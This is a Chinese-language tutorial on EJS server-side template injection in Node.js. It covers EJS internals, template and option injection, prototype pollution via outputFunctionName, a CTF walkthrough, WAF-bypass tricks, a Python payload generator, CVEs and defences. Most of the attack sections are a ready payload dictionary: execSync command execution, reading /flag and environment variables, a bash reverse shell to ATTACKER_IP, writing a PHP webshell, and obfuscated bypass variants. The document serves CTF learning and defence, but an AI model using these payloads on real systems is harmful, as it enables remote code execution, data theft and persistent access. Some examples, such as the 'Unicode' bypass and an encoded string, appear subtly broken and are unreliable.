前言

EJS(Embedded JavaScript)是 Node.js 生态中广泛使用的模板引擎。和 Python 的 Jinja2、PHP 的 Twig 不同,EJS 的模板编译方式非常”粗暴”——它直接把模板字符串拼接成一段 JavaScript 函数体,然后扔给 new Function() 执行。这意味着一旦攻击者能控制模板内容或编译选项,RCE 几乎是必然的

EJS SSTI 和其他模板引擎的关键区别:

特性 EJS Jinja2 (Python) Twig (PHP)
底层实现 拼接 JS 字符串 → new Function() 解析 AST → 编译为 Python bytecode 编译为 PHP 代码
代码执行 <% %> 中是真正的 JS {{ }} 只能访问传递的变量 {{ }} 只能访问传递的变量
沙箱 无沙箱 有沙箱(需逃逸) 有沙箱
数据作用域 with(locals){}var 赋值 独立的模板上下文 独立的模板上下文
注入难度 控制模板 → 直接 RCE 控制模板 → 需沙箱逃逸 控制模板 → 需沙箱逃逸

一句话总结:在 EJS 中,拿到模板注入 = 拿到 RCE,没有任何沙箱需要绕过。 本文从基础语法讲起,覆盖模板注入、选项注入、原型链污染、CTF 题目和防御方案。


一、EJS 基础语法

1.1 标签速查

标签 含义 执行代码 输出结果 HTML 转义
<% code %> 执行 JS 代码
<%= expr %> 输出表达式值 <&lt;
<%- expr %> 输出原始 HTML(不转义)
<%# comment %> 注释
<%% 输出字面量 <%

示例:

1
2
3
4
<% var name = 'Alice'; %>
<h1>Hello, <%= name %></h1>
<%- '<strong>不转义</strong>' %>
<%# 这是注释,不会被输出 %>

1.2 条件语句

1
2
3
4
5
6
7
8
9
<body>
<% if (state === 'danger') { %>
<p>危险区域, 请勿进入</p>
<% } else if (state === 'warning') { %>
<p>警告, 你即将进入危险区域</p>
<% } else { %>
<p>状态安全</p>
<% } %>
</body>

1.3 循环语句

1
2
3
4
5
6
7
8
9
10
11
12
<ul>
<% for (var i = 0; i < users.length; i++) { %>
<li><%= users[i] %></li>
<% } %>
</ul>

<!-- 等价: -->
<ul>
<% users.forEach(function(user) { %>
<li><%= user %></li>
<% }); %>
</ul>

1.4 最简单渲染示例

1
2
3
4
5
6
7
8
9
10
const ejs = require('ejs');

// 方法 1: render 字符串
var result = ejs.render('<% var a = 123 %><%= a %>');
console.log(result); // "123"

// 方法 2: render 文件
var fs = require('fs');
var data = fs.readFileSync('template.ejs');
var result = ejs.render(data.toString());

二、EJS 核心 API

2.1 ejs.render —— 一次性渲染

1
2
3
4
5
6
7
// 语法:ejs.render(templateStr, data, options)
const html = ejs.render(
'<h1>Hello, <%= name %></h1>',
{ name: 'Alice' },
{ delimiter: '%' }
);
console.log(html); // "<h1>Hello, Alice</h1>"
参数 类型 说明
templateStr string EJS 模板字符串
data object 传入模板的数据(在模板中可直接访问数据对象的属性)
options object 编译选项

2.2 ejs.compile —— 预编译 + 复用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const ejs = require('ejs');

// 步骤 1: 编译模板 → 返回渲染函数
const templateStr = `
<h1>Hello, <%= name %></h1>
<ul>
<% for (let item of list) { %>
<li><%= item %></li>
<% } %>
</ul>
`;
const renderFn = ejs.compile(templateStr, { /* options */ });

// 步骤 2: 多次调用,无需重新编译
const html1 = renderFn({ name: "张三", list: ["苹果", "香蕉"] });
const html2 = renderFn({ name: "李四", list: ["橙子", "葡萄"] });

console.log(html1);
console.log(html2);

compile vs render compile 适合同一模板多次使用(编译一次,复用 N 次)。render 每次都会重新编译。

2.3 Express 中集成 EJS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');
const app = express();

// 设置模板引擎
app.set('view engine', 'ejs');
// 或使用 .html 后缀但用 EJS 渲染
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');

// 渲染 views/ 目录下的模板
app.get('/page', (req, res) => {
res.render('page', {
title: 'Hello',
user: req.user
});
});

三、EJS 内部编译原理(理解 RCE 的关键)

EJS 编译模板的方式是将模板字符串转换为一段 JavaScript 函数体,然后用 new Function() 执行:

1
2
3
4
5
6
7
8
9
模板字符串: "<h1><%= name %></h1>"
↓ 解析
JS 拼接: "var __output = []; __output.push('<h1>'); __output.push(escapeFn(name)); __output.push('</h1>'); return __output.join('');"
↓ 包装
函数体: "function anonymous(locals, escapeFn, include, rethrow) { ... }"
↓ 执行
new Function('locals', 'escapeFn', 'include', 'rethrow', 函数体)

得到一个函数 → 调用它 → 返回渲染后的 HTML

EJS 编译伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// EJS 源码核心逻辑(简化)
function compile(template, opts) {
// 1. 合并选项(opts 优先,回退到默认值)
var options = Object.assign({}, opts);

// 2. 如果 options 没设置 outputFunctionName → 从原型链或默认值获取
var funcName = options.outputFunctionName || 'anonymous';

// 3. 拼接函数体字符串
var src = 'function ' + funcName + '(locals, escapeFn, include, rethrow) {\n';
src += ' var __output = [];\n';
src += ' // ... 逐行处理模板内容 ...\n';
src += ' return __output.join("");\n';
src += '}';

// 4. 用 Function 构造器创建函数 ← 这就是攻击点!
var fn = new Function('locals', 'escapeFn', 'include', 'rethrow', src.split('\n').slice(1).join('\n'));

return fn;
}

⚠️ new Function() 就是等同于 eval 只要能控制传入 new Function 的字符串,就能执行任意代码。


四、模板内容注入 —— 直接 RCE

4.1 前提

用户输入直接拼接进了 EJS 的模板字符串(ejs.render 的第一个参数),例如:

1
2
3
4
5
6
// ❌ 危险代码
app.get('/page', (req, res) => {
let template = '<h1>Welcome, ' + req.query.name + '</h1>';
let html = ejs.render(template);
res.send(html);
});

4.2 攻击

1
2
3
4
5
GET /page?name=<%= 7*7 %>
→ 页面输出 "Welcome, 49"(确认注入)

GET /page?name=<%%- global.process.mainModule.require('child_process').execSync('id').toString() %>
→ 页面输出 "Welcome, uid=1000(node) ..."(RCE!)

4.3 完整 Payload 字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!-- 基础确认 -->
<%= 7*7 %>
<%= global %>

<!-- 进程信息收集 -->
<%= global.process.version %>
<%= global.process.env %>
<%= global.process.cwd() %>

<!-- 读取文件 -->
<%= global.process.mainModule.require('fs').readFileSync('/flag', 'utf-8') %>
<%= global.process.mainModule.require('fs').readdirSync('/').toString() %>

<!-- 命令执行(RCE) -->
<%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
<% global.process.mainModule.require('child_process').execSync('cat /flag'); %>

<!-- 无回显 → 反弹 shell -->
<%
(function(){
var cp = global.process.mainModule.require('child_process');
cp.exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
})();
%>

<!-- 写 webshell -->
<%
global.process.mainModule.require('fs').writeFileSync(
'/var/www/html/shell.php',
'<?php system($_GET["cmd"]); ?>'
);
%>

为什么用 global.process.mainModule.require 而非直接 require EJS 模板内部的作用域中可能没有 require(取决于 outputFunctionName 的包装方式和 locals 作用域)。但 global.process.mainModule 是全局可访问的,永远可用。


五、选项注入 + 原型链污染(进阶)

5.1 原理

控制不了模板字符串,但能影响 options 参数时,可以注入关键选项来实现 RCE。

5.2 outputFunctionName 注入

outputFunctionName 决定了生成的函数名。如果这个值被污染,就能将恶意代码嵌入函数定义:

1
2
3
4
5
6
7
8
9
10
11
12
// 正常调用
ejs.render(template, data, { outputFunctionName: 'myFunc' });
// 生成: function myFunc(locals, ...) { ... }

// 攻击:污染 outputFunctionName
ejs.render(template, data, {
outputFunctionName:
'x;return global.process.mainModule.require("child_process").execSync("id").toString();//'
});
// 生成: function x;return global.process...;//(locals, ...) { ... }
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 函数体被替换!
// 后面的原始函数体被 // 注释掉了

完整注入 Payload:

1
2
3
4
{
"outputFunctionName":
"x;process.mainModule.require('child_process').execSync('cat /flag');//"
}

为什么 exploit 中经常需要两层 __proto__

原型链污染场景中,Object.assign({}, opts) 创建的新对象如果 opts 没有 outputFunctionName,会从(被污染的)Object.prototype 上查找该属性。有些框架嵌套多层的对象结构需要调整深度。

1
2
3
4
5
6
7
{
"__proto__": {
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"');var __tmp2"
}
}
}

5.3 delimiter 注入

delimiter 选项允许自定义 EJS 的标签分隔符(默认是 %)。修改分隔符可以绕过只检测 <% 的 WAF:

1
2
3
4
5
6
// 默认: <% code %>
// 设 delimiter = '?'
// 新语法: <? code ?>

ejs.render('<?= 7*7 ?>', {}, { delimiter: '?' });
// → "49"

攻击链:

1
2
3
4
// 如果 WAF 只拦截 <% 和 %>,设置自定义 delimiter 即可绕过
ejs.render('<?- global.process.mainModule.require("child_process").execSync("id").toString() ?>',
{},
{ delimiter: '?' });

5.4 escapeFunction 注入(EJS < 3.1.10)

部分旧版 EJS 中 escapeFunction 选项允许覆盖 HTML 转义函数:

1
2
3
4
5
6
ejs.render('<%= data %>', { data: 'test' }, {
escapeFunction: function(x) {
// 自定义转义逻辑 → 可以注入恶意代码
return this.process.mainModule.require('child_process').execSync('id').toString();
}
});

5.5 其他可注入选项

选项 用途 攻击性
delimiter 自定义分隔符 绕过 WAF
outputFunctionName 定义渲染函数名 直接 RCE
escapeFunction 自定义转义函数 RCE(旧版)
openDelimiter 起始分隔符 绕过 WAF
closeDelimiter 结束分隔符 绕过 WAF
client 客户端模式 影响函数生成方式
debug 调试模式 可能泄露模板内容

六、CTF 题目解析

6.1 题目源码(模板路径可控)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');
app.use(express.json({ limit: '114514mb' }));

const STATIC_DIR = __dirname;

function serveIndex(req, res) {
// WAF: 只允许渲染 index 模板
var whiteList = ['index'];
var templ = req.query.templ || 'index';

if (!whiteList.includes(templ)) {
return res.status(403).send('Denied Templ');
}

var lsPath = path.join(__dirname, req.path);

try {
// 漏洞点:templ 可控(虽在白名单中,但...)
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
res.status(500).send('Error');
}
}

// 中间件: 禁止 .js 结尾和 ..
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' &&
typeof req.query.templ !== 'undefined' &&
typeof req.query.templ !== null)
) res.status(500).send('Error');
else if (/js$|\.\./i.test(req.path))
res.status(403).send('Denied filename');
else next();
});

// 必须以 / 结尾的路径触发 serveIndex
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
});

// PUT 上传任意文件(base64 编码的 content)
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) return res.status(500).send('Error');
res.status(201).send('Success');
});
});

app.listen(80, () => {
console.log('running on port 80');
});

6.2 漏洞分析

漏洞点 说明
模板路径白名单 whiteList = ['index']templ 固定为 index——看似安全
PUT 任意文件上传 可以上传任意文件到服务器目录
路径以 / 结尾 触发 serveIndex,渲染 index.ejs
非字符串 templ 绕过 中间件只检查 !== 'string',但如果 req.query.templ 不存在时,变量为 undefined → 走默认值 'index'

漏洞链: 虽然 templ 被限制为 index,但可以上传一个新的 index.ejs 覆盖原有模板!通过 PUT 请求将 payload 编码为 base64 写入 index.ejs

6.3 利用步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1: 生成恶意 index.ejs
# 内容就是直接的 RCE payload
cat > evil.ejs << 'EOF'
<%= global.process.mainModule.require('child_process').execSync('cat /flag').toString() %>
EOF

# Step 2: base64 编码
cat evil.ejs | base64 -w0
# → PGUÑIGdsb2JhbC5w...==

# Step 3: PUT 上传覆盖 index.ejs
curl -X PUT http://target.com/index.ejs \
-H "Content-Type: application/json" \
-d '{"content": "PGUÑIGdsb2JhbC5w...=="}'

# Step 4: 访问目标路径触发渲染
curl http://target.com/some-path/
# → 页面返回 /flag 的内容

6.4 另一种思路:原型链污染

如果目标还有 merge/clone 逻辑(见原型链污染专题),可以直接污染 outputFunctionName

1
2
3
4
1. 找到 merge 入口
2. {"__proto__":{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('cat /flag').toString();//"}}}
3. 访问任意 EJS 渲染的路由
4. RCE

七、WAF 绕过

EJS 的 WAF 绕过思路和 Node.js RCE 专题完全一致,核心都是绕过 require/exec 等关键字的检测。

7.1 属性访问绕过

1
2
3
4
5
6
7
8
<!-- 原始 -->
<%= require('child_process').execSync('calc').toString() %>

<!-- 方括号 + 字符串 -->
<%= require('child_process')['execSync']('calc').toString() %>

<!-- 绕过 exec 关键字 -->
<%= require('child_process')["exec"]('calc') %>

7.2 字符串拼接绕过

1
2
3
4
5
<%= require('child_process')["ex"+"ec"]('calc').toString() %>
<%= require('child_process')["exe".concat("c")]('calc').toString() %>

<!-- ES6 模板字符串拼接 -->
<%= require('child_process')[`${`${`exe`}c`}`]('calc').toString() %>

7.3 编码绕过

(1)十六进制:

1
2
<%= require('child_process')["\x65\x78\x65\x63"]('calc').toString() %>
<!-- \x65=e, \x78=x, \x65=e, \x63=c → "exec" -->

(2)Unicode:

1
2
3
4
5
<%= require('child_process')["exec"]('calc').toString() %>
<!-- e=e, x=x ... -->

<!-- 更长的 Unicode 编码整个字符串 -->
<%= global["process"]["mainModule"]["require"]('child_process')["execSync"]('id').toString() %>

(3)Base64:

1
2
3
<%
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjYWxjJykudG9TdHJpbmcoKQ==', 'base64').toString());
%>

7.4 数组方法绕过

1
2
3
<!-- Object.values 获取 child_process 下的所有方法,按索引调用 -->
<%= Object.values(require('child_process'))[4]('calc').toString() %>
<!-- child_process 的第 5 个方法通常是 execSync -->

7.5 String.fromCharCode

1
2
3
4
5
6
<!-- 等同于 require('child_process').execSync('id') -->
<%
var cp = global.process.mainModule.constructor._load(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
var cmd = String.fromCharCode(99,97,116,32,47,102,108,97,103);
%>
<%= cp.execSync(cmd).toString() %>

7.6 绕过技巧对比速查

目标 payload
原始 RCE <%= global.process.mainModule.require('child_process').execSync('id').toString() %>
绕过 exec ...["ex"+"ec"]......["\x65\x78\x65\x63"]...
绕过 require global.process.mainModule.constructor._load(...)
绕过 child_process String.fromCharCode(99,104,105,...)
绕过 <% 设置 delimiter 或 上传覆盖后触发原型链污染
绕过所有关键字 Base64 → eval(Buffer.from(...).toString())

八、自动生成 EJS Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
"""EJS SSTI Payload 生成器"""

def gen_ejs_rce(cmd="id"):
"""标准 RCE payload"""
return f"<%= global.process.mainModule.require('child_process').execSync('{cmd}').toString() %>"

def gen_ejs_rce_no_require(cmd="id"):
"""绕过 require"""
return f"<%= global.process.mainModule.constructor._load('child_process').execSync('{cmd}').toString() %>"

def gen_ejs_base64(cmd="id"):
"""Base64 编码绕过"""
import base64
js = f"global.process.mainModule.require('child_process').execSync('{cmd}').toString()"
b64 = base64.b64encode(js.encode()).decode()
return f"<%= eval(Buffer.from('{b64}', 'base64').toString()) %>"

def gen_ejs_output_function_name(cmd="id"):
"""outputFunctionName 注入 payload(用于原型链污染)"""
return {
"__proto__": {
"__proto__": {
"outputFunctionName": f"x;return global.process.mainModule.require('child_process').execSync('{cmd}').toString();//"
}
}
}

if __name__ == "__main__":
print("[*] 标准 RCE:")
print(gen_ejs_rce("cat /flag"))
print("\n[*] 无 require 版本:")
print(gen_ejs_rce_no_require("cat /flag"))
print("\n[*] Base64 绕过:")
print(gen_ejs_base64("cat /flag"))
print("\n[*] outputFunctionName 注入:")
import json
print(json.dumps(gen_ejs_output_function_name("cat /flag"), indent=2))

九、EJS 已知漏洞(CVE 历史)

CVE 影响版本 描述 方式
CVE-2024-33883 EJS < 3.1.10 delimiter 选项注入导致 RCE 选项注入
CVE-2022-29078 EJS < 3.1.7 settings['view options']['outputFunctionName'] 污染导致 RCE 选项注入/原型链污染
全版本 模板内容直接注入 <% %> 模板注入(非 CVE,是设计特性)

关键教训: EJS 的 new Function() 执行方式不是 bug,是设计如此。当用户能控制模板内容或编译选项时,RCE 是预期行为,不是需要”逃逸”的沙箱。


十、防御措施

层面 措施 说明
模板安全 永远不要将用户输入拼接到模板字符串中 用户数据通过 data 参数传入,而非模板字符串
模板安全 不要允许用户上传/覆盖 .ejs 文件 上传目录不应在 views/ 路径下
模板安全 模板文件名使用白名单 不要用 req.query.templ 直接做模板名
选项安全 硬编码 options,不接受用户可控数据 如必须接受,做白名单检查
选项安全 明确设置 outputFunctionName 显式传入该选项,使其不依赖原型链
代码安全 升级 EJS ≥ 3.1.10 修复了已知的选项注入漏洞
原型链保护 过滤 __proto__constructorprototype 在 merge 函数中加黑名单
运行时保护 Object.freeze(Object.prototype) 阻止原型链污染

安全渲染示例

1
2
3
4
5
6
7
8
// ❌ 危险:用户输入拼入模板字符串
let template = '<h1>' + req.query.title + '</h1>';
let html = ejs.render(template);

// ✅ 安全:用户输入作为 data 参数传入
let template = '<h1><%= title %></h1>';
let html = ejs.render(template, { title: req.query.title });
// 即使用户输入包含 <% %>,也会被转义或不执行(取决于 <%= vs <%- )

安全选项处理

1
2
3
4
5
6
7
8
9
10
11
12
// ❌ 危险
let options = req.body.options; // 用户可控
ejs.render(template, data, options);

// ✅ 安全:白名单选项
let allowedOptions = {};
if (['%', '?', '@'].includes(req.body.delimiter)) {
allowedOptions.delimiter = req.body.delimiter;
}
// outputFunctionName 直接硬编码
allowedOptions.outputFunctionName = 'render' + Date.now();
ejs.render(template, data, allowedOptions);

参考